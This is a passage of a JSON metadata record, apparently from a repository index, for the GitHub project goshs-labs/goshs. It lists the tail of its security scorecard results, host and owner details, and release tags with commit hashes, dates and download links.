commits","details":["Info: SAST configuration detected: CodeQL","Info: all commits (6) are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T11:43:39.563Z","repository_id":43262907,"created_at":"2025-08-22T11:43:39.563Z","updated_at":"2025-08-22T11:43:39.563Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36728140,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-17T02:00:06.698Z","response_time":86,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"goshs-labs","name":"goshs-labs","uuid":"288591202","kind":"organization","description":"","email":null,"website":"https://goshs.de","location":"Germany","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/288591202?v=4","repositories_count":1,"last_synced_at":"2026-05-28T11:23:27.823Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/goshs-labs","funding_links":[],"total_stars":877,"followers":0,"following":0,"created_at":"2026-05-28T11:23:27.844Z","updated_at":"2026-05-28T11:23:27.844Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/goshs-labs","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/goshs-labs/repositories"},"tags":[{"name":"v2.1.5","sha":"3a24c85a82c494b947a83989b5f28fbda260a961","kind":"commit","published_at":"2026-08-02T08:36:56.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.1.5","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.5/manifests"},{"name":"v2.1.4","sha":"d4e775d5a84d662d426bc19a95d9b990a97d60e4","kind":"tag","published_at":"2026-07-03T07:19:58.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.1.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.4/manifests"},{"name":"v2.1.3","sha":"ead99b9b5081d473c61743cfed5e8290702317d2","kind":"tag","published_at":"2026-06-25T13:38:51.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.1.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.3/manifests"},{"name":"v2.1.2","sha":"5ec4d7735bbee27b929052c1581ef7060e61e0a8","kind":"tag","published_at":"2026-06-23T13:57:40.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.1.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.2/manifests"},{"name":"v2.1.1","sha":"7632143f65eb08401ebfb7bab76eb1a258b6d733","kind":"tag","published_at":"2026-06-17T18:39:08.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.1.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.1/manifests"},{"name":"v2.1.0","sha":"91b71d37310b81dd88a5fddc9e08a6bab5b66466","kind":"commit","published_at":"2026-05-29T10:20:25.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.1.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.0/manifests"},{"name":"v2.0.9","sha":"8fc1e917bf049a5fd6ab57da47393dfe205b5fe8","kind":"commit","published_at":"2026-05-27T13:49:51.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.9","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.9/manifests"},{"name":"v2.0.8","sha":"326ba01443506969698b9f9b11052035b3c1777f","kind":"commit","published_at":"2026-05-13T13:57:24.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.8","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.8/manifests"},{"name":"v2.0.7","sha":"e760d6826f54c26ac7113cb2fc80daecfa96718f","kind":"commit","published_at":"2026-05-12T13:06:43.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.7","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.7/manifests"},{"name":"v2.0.6","sha":"f6216dcf430c0942e5e6b108848d5c85464c2169","kind":"commit","published_at":"2026-04-29T12:51:00.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.6","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.6/manifests"},{"name":"v2.0.5","sha":"5fcb4c950033e9ef97c07a3882eef073dc708952","kind":"commit","published_at":"2026-04-27T13:48:07.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.5","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.5/manifests"},{"name":"v2.0.4","sha":"0bf431529dcee34d4f666ce31f533204a3622d48","kind":"commit","published_at":"2026-04-27T06:08:59.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.4/manifests"},{"name":"v2.0.3","sha":"88eec60a6057e5811c7946da97975af68b947350","kind":"commit","published_at":"2026-04-21T13:04:57.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.3/manifests"},{"name":"v2.0.2","sha":"343902890456e88db614a416550ae2858d8e0f8d","kind":"commit","published_at":"2026-04-21T07:52:00.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"847637dabdf1184293d701d8b42718b58cecfe0f","kind":"commit","published_at":"2026-04-14T08:43:35.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"0c316e71c6eb69d75218c4af6e9793cc07cdfaab","kind":"commit","published_at":"2026-04-14T08:24:01.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0/manifests"},{"name":"v2.0.0-beta.6","sha":"2f6b5d601d494601fa43fad9a712ee6117b7dbcd","kind":"commit","published_at":"2026-04-13T09:12:53.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.0-beta.6","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.0-beta.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.0-beta.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.6/manifests"},{"name":"v2.0.0-beta.5","sha":"701c806595c31e4486bf856a3dded87fd3f3a17c","kind":"commit","published_at":"2026-04-10T13:07:32.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.0-beta.5","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.0-beta.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.0-beta.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.5/manifests"},{"name":"v2.0.0-beta.4","sha":"10f291dea17fb795f0008ed64c3ad7ab8c0470de","kind":"commit","published_at":"2026-04-09T18:18:46.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.0-beta.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.0-beta.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.0-beta.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.4/manifests"},{"name":"v2.0.0-beta.3","sha":"237f3af891a90df9b903b85f1cd3438040ca261a","kind":"tag","published_at":"2026-04-01T17:25:48.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.0-beta.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.0-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.0-beta.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.3/manifests"},{"name":"v2.0.0-beta.2","sha":"69d1ae7a3187f098b7ad80723b89270104afff06","kind":"commit","published_at":"2026-03-30T09:25:52.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.0-beta.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.2/manifests"},{"name":"v2.0.0-beta.1","sha":"54b724823aaeb1af8f514a38d875618b0b449d56","kind":"commit","published_at":"2026-03-25T14:27:17.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.0-beta.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.1/manifests"},{"name":"v1.1.4","sha":"5b5228ff042f284bc432e706699cf7252caf96fa","kind":"commit","published_at":"2026-03-13T14:11:55.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.1.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.4/manifests"},{"name":"1.1.3","sha":"62f294072f1c8baaf04f92a1fde6d9c10b56b3c4","kind":"commit","published_at":"2025-12-16T09:29:53.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/1.1.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/1.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@1.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/1.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/1.1.3/manifests"},{"name":"v1.1.2","sha":"0b78da54caa3a5b1c6cd41b951ff56dbfd9c207e","kind":"commit","published_at":"2025-11-12T10:04:08.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.1.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.2/manifests"},{"name":"v1.1.1","sha":"b1caf949196b9ebcc5b078502bcecfe20544597d","kind":"commit","published_at":"2025-09-22T07:54:08.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.1.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"1ae129a5ae4fc0e05875da251e5ba9cf1c7a6db3","kind":"commit","published_at":"2025-06-03T08:16:04.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.1.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.0/manifests"},{"name":"v1.0.9","sha":"b30f8da5520f6ef587ef0665a37717c6217c2c0c","kind":"commit","published_at":"2025-05-28T08:20:50.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.9","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.9/manifests"},{"name":"v1.0.8","sha":"b8b3529a3b27a069c98a64b7fc715fb7e09d8a7d","kind":"commit","published_at":"2025-05-20T10:40:35.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.8","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.8/manifests"},{"name":"v1.0.7","sha":"a24cf77e24a797737603e0f76d502317ff6b3e06","kind":"tag","published_at":"2025-05-19T14:01:35.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.7","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.7/manifests"},{"name":"v1.0.6","sha":"1f29165afbc926d738221dd8ed680e20b3acc295","kind":"tag","published_at":"2025-05-12T09:29:49.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.6","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.6/manifests"},{"name":"v1.0.5","sha":"1eb190b81f7a7d8bbb94387c3d192a0dfa420e87","kind":"tag","published_at":"2025-05-06T10:07:54.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.5","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.5/manifests"},{"name":"v1.0.4","sha":"8e85c72d5dd1470a8836131ac07119cf559d93c8","kind":"tag","published_at":"2025-05-02T14:16:38.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"367751fab6716f0f790fc2629d172f4326f3a4b2","kind":"tag","published_at":"2025-04-16T12:13:14.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"a9e2ecd557f05fb032452669586f1cfeffa4c34c","kind":"tag","published_at":"2025-03-07T07:55:53.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.2/manifests"},{"name":"v1.0.1","sha":"af9ef83ce37e3bf422abce915e94b74e8a0b397c","kind":"tag","published_at":"2024-11-22T08:21:33.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"6a9792d56be9eb990e3358a8b7c053131fde61fa","kind":"tag","published_at":"2024-11-15T10:48:54.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.0/manifests"},{"name":"v0.4.2","sha":"59b5cdb0ae2559f92c3526fd57385ba25f627e99","kind":"tag","published_at":"2024-10-17T11:42:35.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.4.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"25ac43d6846d47c661e1c34d160a5134dab83da0","kind":"tag","published_at":"2024-07-11T12:33:57.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.4.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"6f1e81c9189208f1be56d0917fcb98601cd663d0","kind":"tag","published_at":"2024-07-05T17:59:22.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.4.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.4.0/manifests"},{"name":"v0.3.9","sha":"ab22259e990b5b1c977a2fbe958bec1b44e51c02","kind":"tag","published_at":"2024-06-27T12:57:00.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.9","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.9/manifests"},{"name":"v0.3.8","sha":"92dd103cb66bea7001417ee2ce9d3167a7c20101","kind":"tag","published_at":"2024-04-30T07:04:54.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.8","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.8","dependencies_parsed_at":n